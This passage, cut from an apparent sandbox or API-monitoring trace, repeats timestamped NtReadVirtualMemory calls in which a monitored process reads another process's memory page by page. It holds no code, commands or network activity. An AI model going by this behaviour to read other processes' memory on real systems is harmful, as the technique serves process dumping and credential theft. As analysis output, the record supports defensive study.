NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.341] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77369000, Buffer=0x9cc9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.341] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736a000, Buffer=0x9cca000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cca000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.341] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736b000, Buffer=0x9ccb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.341] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736c000, Buffer=0x9ccc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.341] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736d000, Buffer=0x9ccd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.341] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736e000, Buffer=0x9cce000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cce000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.342] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736f000, Buffer=0x9ccf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.342] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77370000, Buffer=0x9cd0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.342] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77371000, Buffer=0x9cd1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.342] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77372000, Buffer=0x9cd2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.342] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77373000, Buffer=0x9cd3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.342] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77374000, Buffer=0x9cd4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.342] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77375000, Buffer=0x9cd5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.343] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77376000, Buffer=0x9cd6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.343] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77377000, Buffer=0x9cd7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.343] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77378000, Buffer=0x9cd8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.343] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77379000, Buffer=0x9cd9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.343] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737a000, Buffer=0x9cda000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cda000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.343] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737b000, Buffer=0x9cdb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.344] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737c000, Buffer=0x9cdc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.344] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737d000, Buffer=0x9cdd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.344] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737e000, Buffer=0x9cde000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cde000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.344] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737f000, Buffer=0x9cdf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.344] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77380000, Buffer=0x9ce0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.344] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77381000, Buffer=0x9ce1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.344] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77382000, Buffer=0x9ce2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.345] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77383000, Buffer=0x9ce3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.345] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77384000, Buffer=0x9ce4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.345] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77385000, Buffer=0x9ce5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.345] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77386000, Buffer=0x9ce6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.345] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77387000, Buffer=0x9ce7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.345] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77388000, Buffer=0x9ce8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.346] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77389000, Buffer=0x9ce9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.346] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738a000, Buffer=0x9cea000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cea000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.346] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738b000, Buffer=0x9ceb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ceb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.346] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738c000, Buffer=0x9cec000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cec000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.346] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738d000, Buffer=0x9ced000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ced000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.346] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738e000, Buffer=0x9cee000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cee000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.347] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738f000, Buffer=0x9cef000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cef000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.347] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77390000, Buffer=0x9cf0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.347] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77391000, Buffer=0x9cf1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.347] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77392000, Buffer=0x9cf2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.347] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77393000, Buffer=0x9cf3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.347] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77394000, Buffer=0x9cf4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.347] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77395000, Buffer=0x9cf5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.348] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77396000, Buffer=0x9cf6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.348] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77397000, Buffer=0x9cf7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.348] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77398000, Buffer=0x9cf8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.348] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77399000, Buffer=0x9cf9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.348] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739a000, Buffer=0x9cfa000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfa000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.348] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739b000, Buffer=0x9cfb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.348] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739c000, Buffer=0x9cfc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.349] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739d000, Buffer=0x9cfd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.349] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739e000, Buffer=0x9cfe000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfe000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.349] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739f000, Buffer=0x9cff000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cff000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.349] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a0000, Buffer=0x9d00000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d00000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.349] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a1000, Buffer=0x9d01000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d01000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.349] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a2000, Buffer=0x9d02000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d02000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.349] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a3000, Buffer=0x9d03000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d03000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.350] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a4000, Buffer=0x9d04000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d04000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.350] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a5000, Buffer=0x9d05000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d05000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.350] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a6000, Buffer=0x9d06000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d06000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.350] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a7000, Buffer=0x9d07000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d07000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.351] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a8000, Buffer=0x9d08000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d08000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.351] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a9000, Buffer=0x9d09000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d09000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.352] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773aa000, Buffer=0x9d0a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.352] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ab000, Buffer=0x9d0b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.352] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ac000, Buffer=0x9d0c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.353] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ad000, Buffer=0x9d0d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.353] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ae000, Buffer=0x9d0e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.353] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773af000, Buffer=0x9d0f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.353] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b0000, Buffer=0x9d10000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d10000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.353] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b1000, Buffer=0x9d11000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d11000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.353] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b2000, Buffer=0x9d12000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d12000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.354] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b3000, Buffer=0x9d13000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d13000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.354] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b4000, Buffer=0x9d14000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d14000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.354] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b5000, Buffer=0x9d15000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d15000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.354] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b6000, Buffer=0x9d16000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d16000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.354] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b7000, Buffer=0x9d17000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d17000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.354] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b8000, Buffer=0x9d18000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d18000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.355] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b9000, Buffer=0x9d19000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d19000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.355] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ba000, Buffer=0x9d1a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.355] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bb000, Buffer=0x9d1b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.355] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bc000, Buffer=0x9d1c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.355] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bd000, Buffer=0x9d1d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.355] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773be000, Buffer=0x9d1e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.356] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bf000, Buffer=0x9d1f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.356] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c0000, Buffer=0x9d20000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d20000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.356] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c1000, Buffer=0x9d21000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d21000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.356] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c2000, Buffer=0x9d22000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d22000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.356] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c3000, Buffer=0x9d23000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d23000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.356] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c4000, Buffer=0x9d24000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d24000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.357] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c5000, Buffer=0x9d25000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d25000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.357] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c6000, Buffer=0x9d26000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d26000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.357] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c7000, Buffer=0x9d27000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d27000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.357] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c8000, Buffer=0x9d28000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d28000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.357] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c9000, Buffer=0x9d29000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d29000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.357] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ca000, Buffer=0x9d2a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.358] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cb000, Buffer=0x9d2b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.358] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cc000, Buffer=0x9d2c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.358] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cd000, Buffer=0x9d2d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.358] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ce000, Buffer=0x9d2e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.358] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cf000, Buffer=0x9d2f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.358] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d0000, Buffer=0x9d30000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d30000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.359] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d1000, Buffer=0x9d31000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d31000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.359] NtReadVirtualMemory 